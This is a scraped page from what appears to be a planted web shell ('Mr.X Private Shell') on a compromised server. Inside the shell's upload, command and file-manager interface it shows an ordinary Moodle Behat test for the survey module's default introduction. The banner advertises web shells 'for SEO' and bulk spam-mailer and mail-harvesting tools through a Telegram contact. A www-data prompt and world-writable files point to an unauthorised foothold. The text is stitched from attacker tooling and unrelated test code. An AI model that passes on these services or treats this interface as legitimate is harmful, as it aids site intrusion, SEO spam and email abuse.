__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_survey
Feature: The default introduction is displayed when the activity description is empty

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And I enable "survey" "mod" plugin
    And the following "activities" exist:
      | activity | name             | course | idnumber  | template |
      | survey   | Test survey name | C1     | survey1   | 1        |

  Scenario: Display the default survey introduction when activity description is empty
    Given I am on the "Test survey name" "survey activity" page logged in as "teacher1"
    And I should see "Test survey 1"
    When I am on the "Test survey name" "survey activity editing" page
    And I set the following fields to these values:
      | Description |  |
    And I press "Save and display"
    Then I should see "The purpose of this survey is to help us understand"
    And I am on the "Test survey name" "survey activity editing" page
    And I set the following fields to these values:
      | Survey type | ATTLS (20 item version) |
    And I press "Save and display"
    And I should see "The purpose of this questionnaire is to help us evaluate"

Filemanager

Name Type Size Permission Actions
survey_completion.feature File 3.43 KB 0777
survey_critical_incidents.feature File 2.82 KB 0777
survey_description.feature File 1.44 KB 0777
survey_groups.feature File 4.53 KB 0777
survey_types.feature File 2.11 KB 0777
survey_validation.feature File 1.01 KB 0777
Filemanager